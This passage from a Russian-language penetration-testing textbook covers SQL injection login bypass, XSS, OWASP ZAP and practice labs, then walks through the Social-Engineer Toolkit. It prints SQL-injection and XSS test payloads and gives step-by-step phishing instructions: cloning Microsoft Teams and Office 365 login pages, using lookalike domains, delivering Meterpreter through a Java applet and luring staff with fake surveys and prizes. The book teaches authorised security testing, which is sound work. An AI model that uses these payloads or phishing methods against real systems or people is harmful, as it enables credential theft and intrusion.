Глава 12 Вторжение через веб-интерфейс дела кода, проверяющего пароль указанного пользователя. Однако этот метод требует, чтобы вы знали имя пользователя. Если вы его не знаете, попробуйте ввести следующий код в текстовое поле имени пользователя: ‘or 1 = 1 — Здесь вместо имени вы вводите выражение, которое всегда верно. Большинство баз данных просто выбирают первое имя пользователя, которое хранится в них, если не указано имя. Часто это даже учетная запись администратора! Теперь вы можете использовать любой термин (в данном примере пароля), так как он прокомментирован и база данных не проверяет его. Тем не менее вы должны указать пароль, чтобы избежать аутентификации на стороне клиента, — если вы не удалили этот параметр с помощью прокси. SELECT * FROM user WHERE uname = ‘’or 1 = 1—’ and pwd = ‘Password’ Однако если вы знаете имя пользователя, то начинать атаку нужно с поля пароля. Здесь также можно ввести следующее: ‘or 1 = 1 — Независимо от того, что указано перед первой кавычкой, общее выражение всегда считается верным из-за or-соединения. Интерпретатор предполагает, что предложение «пароль» верно и предоставляет доступ указанному пользователю. Если имя пользователя пусто, но остальная часть инструкции выполнена, вы получаете доступ как первый пользователь, указанный в базе данных. В этом примере при использовании действительного имени пользователя инструкция SQL будет выглядеть следующим образом: SELECT * FROM user WHERE uname = ‘admin’ and pwd = ‘’or 1 = 1 —’ Эта простая техника инъекции часто дает вам полный доступ к базе данные в качестве первого пользователя, указанного в таблице пользователей. К сожалению, становится все труднее найти уязвимости, которые можно эксплуатировать с помощью представленной техники, чтобы выполнить SQLинъекцию и обойти аутентификацию. Однако классический пример время от времени может срабатывать, особенно в приложениях собственной разработки. Это хорошая отправная точка для изучения инъекционных атак и рассмотрения более сложных вариантов. 278
12.5 Когда браузеры доверяют веб-сайтам — XSS-атаки 12.5 Когда браузеры доверяют веб-сайтам — XSS-атаки Когда скрипты внедряются в веб-приложения, это называется XSS (Cross Site Scripting). Скрипт хранится на веб-странице и выполняется или обрабатывается браузером так, как если бы он принадлежал исходному коду страницы. Разница со многими другими атаками заключается в том, что она пытается атаковать клиента, а не сервер. Хотя это хранится в веб-приложении — на сервере — фактической целью является клиент, который его выполняет и таким образом совершает определенное действие. В основном веб-приложения имеют доступ только к тем данным, которые они сами записывают и сохраняют клиенту. Другая веб-страница обычно не может получить доступ к информации, хранящейся в веб-приложении. Это ограничение можно обойти с помощью XSS. Если скрипт встроен в доверенную веб-страницу, браузер жертвы предполагает, что весь контент, включая вредоносный скрипт, — подлинный и заслуживает доверия. Поскольку скрипт теперь действует от имени доверенного веб-приложения, он также может получать доступ к конфиденциальной информации, хранящейся у клиента, такой как маркеры сеанса и файлы cookie. Результаты или повреждения, которые вызывает XSS-атака, очень разные. Это может быть раздражение от постоянного отображения всплывающих окон или полный захват целевого компьютера. Зачастую пользователи не видят серьезной опасности в XSS, но опытный пользователь может легко использовать его для перехвата сессий и получения доступа к ограниченному контенту, а также выполнять команды на цели и даже записывать нажатие кнопок. Есть много способов атаки XSS. Помимо ввода фрагментов кода в поля ввода, вредоносные гиперссылки или скрипты могут быть встроены непосредственно в веб-сайты, электронные письма и даже сообщения мгновенного обмена сообщениями. Большинство почтовых клиентов автоматически отображают письма в формате HTML. Вредоносная часть URL-адреса часто маскируется, чтобы адрес выглядел безобидно. User Password Рис. 12.14. Пример экрана входа на сайт 279
Глава 12 Вторжение через веб-интерфейс В веб-приложении, которое не очищает ввод, XSS-атаки самой простой формы могут быть выполнены очень легко. Если вы просто хотите доказать, что система уязвима, достаточно выполнить JavaScript-код, который ничего не делает, только отображает сообщение об успешной XSS-атаке. Для этого используется тег скрипта с методом alert JavaScript. Пример этого может выглядеть следующим образом: <script> alert(“XSS Test”) </script> Если вы введете этот код и сервер окажется уязвимым, на экране появится указанное всплывающее окно JavaScript. На рис. 12.14 показан типичный пример экрана входа в систему для веб-приложения, в котором можно войти в систему, введя имя пользователя и пароль в текстовые поля. ­ Вместо этой регистрационной информации введите сценарий XSS-теста, как показано на рис. 12.15. User Password Рис. 12.15. Ввод кода XSS-теста Если после ввода скрипта нажать на кнопку Login, появится предупреждение JavaScript с текстом «XSS Test», если веб-приложение уязвимо к XSS. Поскольку в этой книге я рассказываю только об основах, ниже мы рассмотрим только два примера: отраженный и сохраненный XSS. В случае отраженного XSS вредоносный скрипт отправляется с клиентского компьютера на уязвимый сервер, который отправляет его обратно пользователю. Полезная нагрузка (скрипт) выполняется немедленно, то есть в рамках одного процесса запроса/ответа. В этом случае также говорится о «XSS первого порядка/категории». Такая XXS-атака непостоянна. Вредоносный URLадрес должен быть отправлен пользователю для того, чтобы атака была выполнена в браузере. Не случайно этот случай напоминает фишинговую атаку. В некоторых случаях вредоносный скрипт также может храниться непосредственно на уязвимом сервере. Это называется сохраненной XSS-атакой. Если скрипт хранится на сервере, он выполняется всеми посетителями веб-приложения. Payload (вредоносный скрипт или неправильный URL-адрес) остается 280
12.6 ZAP — Zed Attack Proxy, инструмент «все в одном» и выполняется позже. Дальнейшее взаимодействие пользователя, такое как фишинг, больше не требуется. Это также делает атаку более правдоподобной. XSS-атака — очень практичная процедура. В этом разделе мы рассмотрели только простейшую форму XXS-атак. Чтобы овладеть этой техникой, вам нужно научиться отводить сеансы XXS от цели и доставлять другие полезные нагрузки, как я упоминал ранее. Как только вы ознакомитесь с отраженными и сохраненными XXS-атаками, вам следует изучить атаки, основанные на DOM68. 12.6 ZAP — Zed Attack Proxy, инструмент «все в одном» Вы уже познакомились с несколькими фреймворками, которые помогут вам в веб-хакинге. В этом разделе мы рассмотрим еще один многофункциональный инструмент. ZAP от OWASP — это полностью укомплектованный набор для веб-хакинга с тремя основными функциями: ◾ Прокси-сервер для перехвата трафика данных. ◾ Паук для сбора информации о веб-приложении. ◾ Сканер уязвимостей. ­ Это бесплатный инструмент, который уже установлен, например, в Kali Linux, и находится в разделе Applications|Webapplication|Owasp-Zap. Вы также можете запустить его в терминале с помощью команды zap. ­ 12.6.1 ZAP в качестве прокси-сервера ­ Как и в случае с WebScarab и другими инструментами, которые используются в качестве прокси, вам необходимо настроить прокси в вашем браузере. Как это сделать, было описано в разделе 12.3.1. Однако обратите внимание, что вместо порта 8008 здесь требуется порт 8080. Как только вы внесли настройки прокси и запустили ZAP, вы можете во вкладке Sites увидеть список URL всех веб-страниц, которые вы посетили. Каждый отдельный URL-адрес можно развернуть, чтобы увидеть дополнительные каталоги и страницы, которые вы либо сами посетили, либо они были определены ZAP. 12.6.2 Перехват информации При тестировании на проникновение в сеть может потребоваться изменить переменные запросов, которые покидают ваш браузер. Современные вебприложения часто зависят от переменных, получаемых от пользователя, поэтому важно проверить, безопасно ли веб-страницы обрабатывают эти 68 Document Object Model. 281
Глава 12 Вторжение через веб-интерфейс входные переменные. Для этого можно сформулировать требования по следующим вопросам: ◾ Что делает веб-приложение, когда вы пытаетесь заказать отрицательное число — например, –5 брюк? ◾ Что делает веб-сайт, когда вы пытаетесь купить пару брюк стоимостью € 200 за € 10? ◾ Что будет делать веб-сайт, если вы попытаетесь войти в систему, не передав переменные имени пользователя и пароля? Это не отправка пустого имени пользователя или пароля, а отсутствие двух переменных, ожидаемых веб-приложением. ­ ◾ Что делает веб-приложение, если вы используете cookie другого пользователя, который уже вошел в систему? ◾ …а также любое другое вредоносное поведение, которое вы можете придумать! Используя прокси-сервер, который перехватывает запросы сразу после выхода из браузера, вы получаете полный контроль над тем, что отправляется в веб-приложение. В ZAP вы можете перехватывать информацию с помощью функций Breakpoints. Вы можете установить эти точки разрыва для запросов, которые покидают ваш браузер и навязывают приложению измененное значение переменной. Также можно использовать точки разрыва для изменения ответов веб-сервера до их отображения в браузере. В ZAP вы можете устанавливать и удалять точки разрыва для всех входящих и исходящих соединений с помощью зеленой точки (см. рис. 12.16). Используйте сочетание клавиш Ctrl + B или Tools|Toogle Breakpoint On All Request, чтобы установить точки разрыва для всех запросов (исходящие соединения) или Ctrl + Alt + B для всех ответов (входящие соединения). ­ Untitled session File Edit View Analize Report Tools Import Online Help Request Quick start Рис. 12.16. Установка точек разрыва для всех входящих и исходящих соединений в ZAP После того как вы установили точку для исходящих запросов, вы можете перехватить и обработать их. Этот тип один из наиболее часто используемых. Менее распространен перехват ответов веб-сайтов. Перехваченные запросы отображаются в правой части ZAP (см. рис. 12.17). Конечно, изменение поискового запроса в Google-поиске не нанесет вреда, но пример показывает, насколько легко вы можете манипулировать любыми переменными. Представьте, что перехватывается запрос на сайт банка, где вы пытаетесь изменить номер счета, на который или с которого переводят деньги. ­ 282
12.6 ZAP — Zed Attack Proxy, инструмент «все в одном» Untitled session Request Quick start Display raw data Рис. 12.17. Перехваченное сообщение на google.at, в котором можно отредактировать переменную SEARCH 12.6.3 Сбор информации (атака паука) с помощью ZAP Поиск всех доступных страниц увеличивает площадь атаки, поэтому использование паука — важный момент в тесте на проникновение. Это повышает вероятность того, что автоматическое сканирование уязвимостей обнаружит проблему, которую можно использовать в своих целях. Включить функцию паука в ZAP очень просто. Все, что вам нужно сделать, — открыть в браузере URL-адрес, который вы хотите проверить. Найдя целевой URL-адрес или каталог на вкладке Sites, щелкните по нему правой кнопкой мыши, чтобы открыть контекстное меню Attack|Spider Zap (рис. 12.18). Untitled session File Edit View Analize Report Tools Import Online Help Quick start Request Execute Contexts Default context Attack Add to context Mark as context Run program Exclude from context Resend Exclude from Search Progress: Activate scan… “Forced Browse” page Directory for “Forced Browsing” Fuzzing… Show in History Tab Show in Browser Current scans: 1: | Found Рис. 12.18. Контекстное меню ATTACK для начала паучьей атаки на сайт 283
Глава 12 Вторжение через веб-интерфейс И функция сканирования, и функция паука доступны вам в разделе Access. И да, это так просто, как кажется. Достаточно найти нужный URL или каталог, а затем указать ZAP, что делать! Если вы выбрали пункт Spider… в меню Access, обнаруженные страницы отображаются на вкладке Spider в нижнем разделе. Индикатор выполнения показывает, как далеко продвинулся паук. 12.6.4 Сканирование уязвимостей с помощью ZAP После того как паук выполнил свою работу, следующим шагом будет дальнейший анализ выбранного сайта с помощью сканера уязвимостей ZAP. Как и OpenVAS, веб-сканер включает в себя ряд сигнатур известных уязвимостей. Качество работы зависит от включенных сигнатур. Если в контекстном меню Attack выбрать Aktivate Scan… ZAP отправит сотни запросов на указанный сайт и проанализирует полученные ответы на предмет уязвимостей. Не стоит забывать, что сканер не пытается использовать возможные уязвимости на сайте, а отправляет запросы в качестве «техникоэкономического обоснования/исследования возможности» и ищет признаки уязвимостей в ответах. Только когда на определенной странице найдена конкретная уязвимость — например, уязвимость к SQL-инъекции на странице входа в систему, — вы можете использовать прокси для создания вредоносного запроса, который атакует именно эту страницу со значениями переменных, необходимыми для взлома. ­ ZAP также предлагает функцию пассивного сканирования, при которой он сам не отправляет никаких запросов, а просто анализирует все ответы, которые браузер получает во время обычного просмотра. ZAP также ищет те же слабые места, что и при активном сканировании. Это значит, что вы можете посещать веб-сайт в обычном режиме и в то же время проверять уязвимости, не вызывая подозрений большим количеством запросов. Все результаты сканирования отображаются на вкладке «Предупреждения». Вы можете сузить отображение до выбранной страницы, нажав на «глобус» и связав результаты с выбранной страницей. Полный отчет с результатами сканирования ZAP можно создать в виде документа HTML, XML или JSON в меню Report. 12.7 Как вы можете отработать этот шаг? Важно, чтобы вы освоили основы попыток вторжения через интернет. Однако может быть сложно найти веб-приложения с уязвимостями, для которых вы можете получить разрешение на проведение атаки. В этом разделе я познакомлю вас с двумя способами отработки этого шага. 284
12.7 Как вы можете отработать этот шаг? Сотрудники OWASP создали платформу уязвимостей для изучения и отработки веб-атак. Этот проект называется WebGoat 69 и представляет собой намеренно неправильно настроенный веб-сервер с уязвимостями. WebGoat создан на основе J2EE и может работать на всех системах, оснащенных средой выполнения Java. Он содержит более 30 уроков, которые позволяют учиться в реальных условиях на основе заданных сценариев. Задания охватывают все атаки, описанные в этой главе, и множество других. Многие уроки требуют выполнения конкретной атаки — например SQL-инъекции для обхода аутентификации. С каждым уроком вы также будете получать подсказки, которые помогут найти решение. Как и во всех упражнениях, в которых представлен сценарий, вам нужно постараться найти решение самостоятельно, прежде чем прибегать к помощи. Вы можете установить лабораторию хакеров на Windows или Linux. Но нужно убедиться, что у вас установлена Java (JRE). Для этого загрузите WebGoat с официальной домашней страницы OWASP 70 и распакуйте файл в выбранном месте с помощью инструмента архивирования, который распознает файлы 7z. Если вы используете WebGoat в Windows, откройте папку WebGoat и запустите файл webgoat_8080.bat. Не закрывайте открывшееся окно терминала. Если вы обращаетесь к WebGoat с того же компьютера, на котором запущен сервер проекта, вам нужно только открыть браузер и ввести URL-адрес: http://127.0.0.1:8080/webgoat/attack для использования WebGoat. Откроется окно входа, где вы сможете войти в систему, указав в качестве имени пользователя и пароля guest. ­ Предупреждение! Обратите внимание на предупреждение в файле readme! Не забывайте, что использование WebGoat за пределами лабораторной среды может быть чрезвычайно опасным, поскольку системы очень уязимы для атак. Запускайте WebGoat только в хорошо защищенных средах. В Kali Linux также есть возможность создать хакерскую лабораторию (см. раздел 5.1.2), а DVWA (Damn Vulnerable Web App) и Juice Shop уже будут установлены здесь. DVWA также можно загрузить с GitHub 71. Это тестовая среда с PHP и MySQ L. 69 https://owasp.org/www-project-webgoat/ https://www.owasp.org/ https://github.com/digininja/DVWA/ ­ 70 71 285
Глава 12 Вторжение через веб-интерфейс Juice Shop 72 — пожалуй, самое современное и сложное небезопасное вебприложение. Здесь вы найдете уязвимости из всей первой десятки OWASP, а также множество других уязвимостей безопасности, которые также можно найти в реальном мире. 12.8 Каковы дальнейшие действия? Веб-атаки будут приобретать все большее значение. Как только вы освоите базу, описанную в этой главе, вам следует расширить свои знания, уделяя внимание более сложным темам веб-хакерства, таким как атаки на стороне клиента, управление сеансами, мониторинг исходного кода и т. д. Если вы не знаете, каким аспектам следует уделить внимание, но хотите оставаться в курсе веб-атак, проект Top Ten от OWASP станет для вас отличным источником информации. Это официальный список основных веб-угроз, составленный ведущими специалистами по безопасности. Когда речь идет о веббезопасности, OWASP трудно превзойти. Вы можете найти список 73 на их сайте. Он постоянно обновляется и адаптируется к новым тенденциям, рискам и угрозам. Если вы хотите узнать больше о веб-хакинге, обратите внимание на книги «Web Hacking 101: Books for White Hat Hackers» Абхишека Шрипракаша Сингха (Abhishek Shriprakash Singh) или «Real-World Bug Hunting: A Field Guide to Web Hacking». ­ Вам также стоит присмотреться к другим веб-прокси. Помимо проекта WebScarab, к ним относятся Burp Proxy и Paros Proxy. Это отличные и бесплатные инструменты для перехвата запросов, обработки данных и анализа веб-приложений с помощью пауков. Многие опытные специалисты по тестированию веб-приложений на проникновение считают, что Burp Suite — лучший инструмент для тестирования приложений из всех существующих на данный момент. Его бесплатная версия входит в состав Kali Linux. Вы также можете загрузить Burp Suite Community Edition с домашней страницы Portswigger 74. 12.9 Резюме Интернет становится все более и более «исполняемым», и сегодня почти каждая цель имеет свое собственное присутствие в интернете. Вы изучили основы 72 https://owasp.org/www-project-juice-shop/ https://owasp.org/www-project-top-ten/ https://portswigger.net/burp/ ­ 73 74 286
12.9 Резюме веб-атак, а также методы и инструменты для запросов к веб-серверам. Для поиска конкретных уязвимостей на веб-сервере вы использовали Nikto и Watobo. Вы также научились проверять целевой веб-сайт с помощью паука на предмет обнаружения каталогов и файлов. С помощью WebScarab вы изучили инструмент, позволяющий перехватывать запросы на веб-приложение. При внедрении кода вы также стали свидетелями атак, представляющих серьезную угрозу веб-безопасности. Вот почему я объяснил основы SQL–Injection. Затем последовало очень краткое описание атак XSS. Наконец, вы познакомились с ZAP как с универсальным инструментом для веб-сканирования и вебатак.
Глава 13 Социальная инженерия 13.1 Основы SET Один из инструментов, который может помочь вам автоматизировать некоторые ужасно сложные методы социальной инженерии и сделать ваши атаки заслуживающими доверия, — SET (набор инструментов социальной инженерии). Название говорит само за себя: это всего лишь инструмент и не более того. Вы можете думать о SET как о мече: он хорош настолько, насколько хороши навыки рыцаря, который им владеет. Успех атак социальной инженерии зависит от вашей способности адаптироваться к вашим потребностям и максимально использовать свои возможности. С помощью SET вы можете быстро настроить ряд сложных возможностей атаки без особых знаний в области программирования и многолетнего опыта, — например, создать поддельную страницу входа для аккаунта Gmail. SET стал стандартным инструментом для тестирования на проникновение и способом узнать, насколько хорошо организации могут противостоять целенаправленным атакам социальной инженерии. Если вы используете Kali Linux, набор инструментов SET уже предустановлен в стандартной установке. Если вы хотите запустить атаку с помощью социальной инженерии, первое, что вам нужно сделать, — создать фишинговую страницу. Для этого запустите набор инструментов SET. SET — это текстовый инструмент, поэтому здесь нельзя использовать мышь. После запуска вы получите приветственную страницу вверху и варианты типов атак ниже. Поскольку вы хотите провести атаку с помощью социальной инженерии, вы должны выбрать вариант 1. Здесь вы найдете большинство атак социальной инженерии (рис. 13.2). После выбора вы увидите еще одно меню с предложениями разных векторов атаки. Я дам краткий обзор возможных векторов атак. Мы не будем вдаваться в подробности, но и базовое понимание пригодится вам в дальнейшем. 288
13.1 Основы SET File Actions Edit View Help Рис. 13.1. Начальный экран SET (приветственное сообщение и меню) 289
Глава 13 Социальная инженерия Рис. 13.2. Выбор возможных атак с помощью социальной инженерии 13.2 Целевая фишинг-атака ­ Фишинговые атаки — это специально подготовленные электронные письма с вредоносными вложениями. Об этом типе атак часто говорят в новостях, но их сложно осуществить. Большинство эксплойтов быстро нейтрализуются патчами и практически сразу обнаруживаются антивирусными решениями. Обычно у злоумышленника есть только одна возможность совершить атаку, и это особенно актуально для тестировщиков на проникновение. Сами эксплойты сильно зависят от версии целевого ПО. Версия ОС также может иметь решающее значение для успеха. Если эксплойт окажется подходящим для атаки на организацию, вы все равно можете обнаружить, что при загрузке в VirusTotal он обнаружен многими антивирусными продуктами. Чтобы обойти даже базовые меры защиты, организациям приходится тщательно скрывать код. Из-за этих препятствий в социальной инженерии часто важно идти по пути, который сулит успех заранее. Целевая фишинг-атака эффективна только в том случае, если вы знаете свою жертву до глубины души. Простая отправка готовых документов PDF или Word с эксплойтами в виде вложений редко бывает успешной. ­ 13.3 Веб-сайт как вектор атаки Одна из основных функций SET — векторы атак на веб-сайты. Все методы атак в этой группе очень успешны и в значительной степени зависят от доверия: это важный фактор социальной инженерии. В меню социальной инженерии, выбрав опцию 2 (Website Attack Vectors), вы попадете в меню, показанное на рис. 13.3. 290
13.3 Веб-сайт как вектор атаки Рис. 13.3. Меню выбора атак на веб-сайт Далее мы сосредоточимся на двух основных типах атак: ◾ атака на Java-Applet; ◾ атака сборщика учетных данных (Credential Harvester). ­ Атака на Java-апплет опирается не на новейшие сложные эксплойты, а на дизайн языка Java. В Java можно написать апплеты — полноценные программы, которые часто используются в веб-приложениях. Хорошо известный пример — апплеты Cisco Java для WebEx (запуск онлайн-веб-конференций). Апплеты — обычное явление в веб-приложениях. Они кажутся подлинными и правдоподобными, если вы можете приписать их жертвам под убедительным предлогом. Если вы выбрали вариант 1 (Метод атаки java-апплета) на рисунке 13.3, а затем вариант 2 (Клонирование сайта), SET автоматически переключается на указанную веб-страницу, клонирует ее, переписывает ее с помощью вредоносного апплета Java, настраивает веб-сервер и создает несколько полезных нагрузок. Это происходит в течение нескольких минут. Если вы выбрали Site Cloner, выберите No для NAT (трансляция сетевых адресов) и переадресации портов. Эти опции нужны только в том случае, если вы находитесь за маршрутизатором с пробросом портов. Затем введите IP-адрес вашего атакующего компьютера (рис. 13.4). Теперь вам нужно выбрать конфигурацию Java-апплета (рис. 13.5). Новичку лучше выбрать вариант 2. 291
Глава 13 Социальная инженерия Рис. 13.4. Ввод IP-адреса атакуемого компьютера Рис. 13.5. Выбор опции конфигурации Java-апплета Затем укажите страницу, которую хотите клонировать. В примере мы используем https://teams.microsoft.com. После клонирования вы попадете в меню, где сможете выбрать нужные полезные нагрузки (рис. 13.6). Рис. 13.6. Процесс клонирования https://teams.microsoft.com и выбор способа загрузки Здесь вы должны выбрать Payload, с которой можете справиться. Интерактивная оболочка SE Toolkit (вариант 3) — хорошая альтернатива Meterpreter, но у нее меньше функций. В последние годы выбор Payload уменьшился, но теперь вы можете импортировать свои собственные. Имейте в виду, что антивирусные программы часто обращают внимание 292
13.3 Веб-сайт как вектор атаки на статические двоичные файлы и обнаруживают большинство неизменных Payload. Здесь особенно подходит Meterpreter, поскольку он работает непосредственно в памяти без доступа к жесткому диску. Это затрудняет обнаружение антивирусными решениями, так что вы можете иметь оболочку Meterpreter относительно незаметно. Вот почему мы выбираем вариант 1 (Инъекция памяти Meterpreter) для этого примера. Затем введите порт по умолчанию (443). Это просто порт, с которого устанавливается обратное соединение. Рис. 13.7. Выбор полезной нагрузки и порта 443 для установления соединения После завершения загрузки SET автоматически запускается Metasploit (см. рис. 13.8). Теперь вы можете получить доступ к вредоносному клонированному веб-сайту, размещенному на вашем атакуемом компьютере (целевом), введя его IP-адрес в адресную строку браузера. Появится предупреждение о безопасности, и после того как вы поставите флажок «Я принимаю риск» и нажмете Execute, вы сможете переключиться на атакуемый компьютер. Теперь вы должны увидеть оболочку Meterpreter. 293
Глава 13 Социальная инженерия File Actions Edit View Help Рис. 13.8. Metasploit вызывается автоматически 294
13.3 Веб-сайт как вектор атаки Если жертва нажала на кнопку Execute, она автоматически перенаправляется на исходный веб-сайт и даже не понимает, что что то произошло. Если пользователь нажимает кнопку Cancel, диалог апплета появляется снова и не позволяет закрыть браузер. Теперь для завершения процесса в браузере пользователь может использовать только диспетчер задач или кнопку Execute. ‑ Предупреждение Всегда обновляйте SET перед его запуском. Разработчик SET Дэвид Кеннеди отлично умеет программировать и обновлять его. Регулярно появляются новые зашифрованные полезные данные, что необходимо для обхода антивирусного ПО. Этот тип атаки может работать очень хорошо, если учесть несколько вещей. Первое, что вам нужно сделать, — клонировать или создать веб-сайт, заслуживающий доверия сотрудников целевой организации: например, портал управления человеческими ресурсами, систему планирования или что то еще, с чем знакомы жертвы. Однако имейте в виду, что отображение IP-адреса в адресной строке — явный признак поддельного сайта. Вы можете сделать действие более правдоподобным, зарегистрировав доменное имя, похожее на оригинальный сайт. Например, если вы хотите клонировать страницу teams.microsoft.com, teams-microsoft.com будет хорошим выбором. Заметит ли пользователь разницу? Вероятность очень низкая. Имейте в виду, что ваша атака должна выглядеть правдоподобной. ‑ ­ Но как заставить сотрудников целевой организации посетить клонированный сайт? Вспомните схемы в примерах в начале главы, которые вызывали чувство срочности. Любой сценарий такого рода может быть хорошей отправной точкой. Чтобы такая атака была успешной, необходимо предпринять следующие шаги: 1. 2. 3. 4. Настройте SET и подготовьте нужную конфигурацию. Для этого SET должен иметь доступ в интернет. Зарегистрируйте надежное доменное имя. Убедитесь, что оно очень похоже на оригинальный домен. Под благовидным предлогом отправьте компании письмо, содержащее ссылку на клонированный веб-сайт с инъекцией Java-апплета. Получите доступ к оболочкам. Как уже неоднократно говорилось, чем больше времени и усилий вы потратите на разведку и ознакомление с компанией, тем успешнее будет атака. 295
Глава 13 Социальная инженерия Совет Поскольку используется Java, SET может атаковать все платформы Linux, macOS и Windows! Не имеет значения, какие версии ОС и Java установлены. 13.4 Credential Harvester/Сбор учетных данных В дополнение к только что рассмотренной атаке, вариант 3 Credential Harvester для «сбора» учетных данных — тоже интересный вектор атаки в вариантах социальной инженерии. Подобно атаке на апплет Java, вы клонируете вебстраницу и отправляете электронное письмо целевым пользователям. Однако цель здесь состоит в том, чтобы подобрать имена пользователей и пароли. На самом деле это простой способ узнать данные для входа. Помимо регистрации доменного имени, похожего на оригинальное, вы также должны разместить на своем веб-сайте действующий сертификат SSL, чтобы установить HTTPS-соединение. Пользователи уже часто знают, что не следует вводить конфиденциальную информацию на незашифрованных страницах. Поскольку вы хотите создать фишинговую страницу для сбора учетных данных, снова выберите в меню социального инжиниринга 2 (Векторы атаки на сайт) и затем 3 (Метод атаки сбора учетных данных) и подтвердите оба ввода. Затем выберите вариант 3 (Клонирование сайта). Теперь вам нужно подтвердить IP-адрес атакующего компьютера и определить, какой веб-сайт вы хотите клонировать, — например, https://portal.office.com. Затем вы можете переключиться на целевой компьютер и просмотреть клонированную вебстраницу. Теперь введите там свое имя пользователя и пароль, чтобы войти в систему. После того как пользователь вводит имя и пароль на поддельном веб-сайте, он перенаправляется на реальный. В SET вы можете прочитать перехваченную регистрационную информацию на атакующем компьютере. ­ На практике вам следует воздерживаться от клонирования веб-страниц из Gmail, GMX или аналогичных сайтов, поскольку вы редко сможете что либо сделать с этими учетными данными. Лучше использовать страницы с Exchange Server, внешний портал или другой надежный веб-сайт, такой как Microsoft 365, где пользователи вводят свое имя и пароль для доступа к важным ресурсам целевой организации. ‑ Чтобы заставить сотрудников целевой организации перейти по ссылке в отправленном электронном письме, обычно достаточно провести опрос об удовлетворенности сотрудников. Если вы напишете в начале письма, что опрос направлен на улучшение рабочей среды, многие люди захотят принять участие. 296
13.5 Дополнительные опции в SET Если ваш атакующий ПК и устройство «жертвы» находятся в одной сети, все, что вам нужно сделать, — это ввести и подтвердить локальный IP вашего ПК. Затем вы можете выбрать и подтвердить шаблон веб-фишинга. Далее пообещайте первым десяти участникам, заполнившим анкету, что они получат бесплатный смартфон, тогда не пройдет и десяти минут до получения первых ответов. Представьте себе, что вы комбинируете две атаки — атаку с помощью Javaапплета и сборщик учетных данных. С помощью SET это также возможно. Этот многократный удар вы найдете как опцию 6 (Multi-Attack Web Method) в меню «Векторы атаки на сайт». Вы можете комбинировать столько методов атаки, сколько захотите. Если вы сначала атакуете цель с помощью Java-апплета и хотите заставить ее ввести свои учетные данные, вы можете обе атаки на одной веб-странице. Это может быть очень разумным и повысить вашу вероятность успеха. Даже если один метод атаки потерпит неудачу, у вас есть еще один в резерве. Но всегда помните, что у вас может быть только одна попытка. Поэтому хорошо подготовьтесь и тщательно продумайте все сценарии. ­ 13.5 Дополнительные опции в SET Теперь вернемся к главному меню с атаками социальной инженерии, как показано на рис. 13.2. Вариант 3 (INFECTIOUS MEDIA GENERATOR) позволяет создать USB-накопитель с вредоносным Payload. «Инфекция» вызвана вставкой USB-накопителя, так как Autorun-Sсript запускается автоматически. Однако во многих компаниях функция Autorun отключена. Вариант 4 (Create A Payload And Listener) позволяет создавать Payload и Listener. Однако вам уже необходим доступ к целевому компьютеру. Вам нужно только скопировать Payload на целевой компьютер и запустить, а затем автоматически подключиться к Listener. Эта атака более скрытная, и вы можете обмануть антивирусное решение. ­ 297
Глава 13 Социальная инженерия File Actions Edit File Actions Edit View View Help Go to Help Рис. 13.9. QR-код, созданный в SET Вариант 5 (Mass Mailer Attack) позволяет отправлять электронные письма на целый список адресов электронной почты. Этот процесс довольно прост 298
13.5 Дополнительные опции в SET и помогает отправлять компаниям электронные письма в формате HTML и массовые электронные письма. Очень популярный метод атаки — вариант 6 (Вектор атаки на основе Arduino) 75. Такую плату микроконтроллера Teensy от prjc.com можно запрограммировать в SET так, чтобы она имитировала любое желаемое устройство, — например, клавиатуру или мышь. Программируемую плату микроконтроллера можно подключить к компьютеру. Поскольку компьютер распознает его как клавиатуру или мышь, он также может обойти функцию автозапуска и открыть черный ход. Это очень мощный метод, который позволяет вам настроить полную оболочку Meterpreter и получить полный контроль над компьютером. Вариант 6 также предлагает ряд других вариантов атаки и полезных нагрузок. С помощью варианта 7 (Вектор атаки беспроводной точки доступа) вы можете настроить на своем компьютере собственную беспроводную точку доступа, включая серверы DHCP и DNS. Когда жертвы пытаются открыть определенный сайт, они перенаправляются на ваш компьютер для атак SET. Там вы можете создать поддельный корпоративный портал, на котором пользователям сообщается, что они должны принять Java-апплет, прежде чем продолжить. Для тестировщика на проникновение это хороший способ атаковать компанию. Вариант 8 (Вектор атаки генератора QR-кодов) позволяет создать QR-код, который ведет на компьютер для атак SET. Вам нужно только указать URL, для которого создается QR-код. Здесь вы можете, например, использовать URL из раздела 13.3 или 13.4 для QR-кода. На рис. 13.9 показан QR-код, сгенерированный в SET, который ведет на главную страницу http://www.icte.at. Последний метод, который мы кратко рассмотрим в этом разделе, — вариант 9 (Векторы атаки Powershell). PowerShell — это командная оболочка и язык сценариев от Microsoft, которые можно использовать для автоматизации задач в системах Windows и macOS. Он мощный и гибкий, предоставляет доступ ко многим функциям Windows и может использоваться для управления системами, облачного администрирования, разработки и реагирования на инциденты. Многочисленные специалисты PowerShell, такие как Джош Келли, Дэвид Кеннеди и Мэтью Грейвер, проделали большую работу по разработке в этой области. Некоторые из этих атак удалось включить в SET. Эти кодовые атаки могут быть выполнены вами после того, как вы уже получили доступ к системе. По этой ссылке SET автоматически генерирует код для вас и адаптирует его в обход рекомендаций, ограничивающих выполнение. 75 Arduino — это микроконтроллерная платформа, которая программируется с помощью производного языка C. 299
Глава 13 Социальная инженерия 13.6 Резюме SET — это очень мощный инструмент для атаки на самое слабое звено в IT-безопасности — пользователя. Легко позвонить кому то и обманом заставить его посетить веб-сайт, который заразит его компьютер, чтобы злоумышленник мог получить доступ. Вы также можете заставить пользователей перейти по ссылке с помощью убедительно оформленного электронного письма. ‑ Успех атак социальной инженерии зависит от правдоподобности и достоверности атаки. SET поможет с этим. Поскольку он регулярно обновляется, актуализируйте инструмент перед его использованием.
Глава 14 Пост-обработка и сохранение доступа На предыдущих двух этапах теста на проникновение мы собирали информацию и пытались использовать собранные сведения для проникновения в системы и веб-приложения. Если вам удалось проникнуть в систему, необходимо закрепить доступ, чтобы иметь подтверждение для заказчика и при необходимости провести дальнейшие атаки позже. Важно Всегда помните, что поддержание доступа к целевой системе — это серьезный вопрос, который обязательно нужно обсудить с клиентами. Компании часто относятся подозрительно, если тестировщик хочет использовать бэкдор: они опасаются, что этот бэкдор может быть обнаружен и использован неавторизованными третьими лицами. Если бы вы были генеральным директором компании, вы вряд ли смогли бы спать спокойно, зная, что в вашей системе есть открытый черный ход. Заказчик всегда дает разрешение и определяет объем теста на проникновение. Поэтому важно подробно обсуждать этот шаг со своим клиентом и уделять этому вопросу необходимое время. Время от времени клиент позволяет вам открыть черный ход для теста на проникновение. Обычно его используют, чтобы показать, что такая атака вполне возможна, или просто чтобы обыграть реалистичный сценарий, в котором злоумышленник может вернуться к 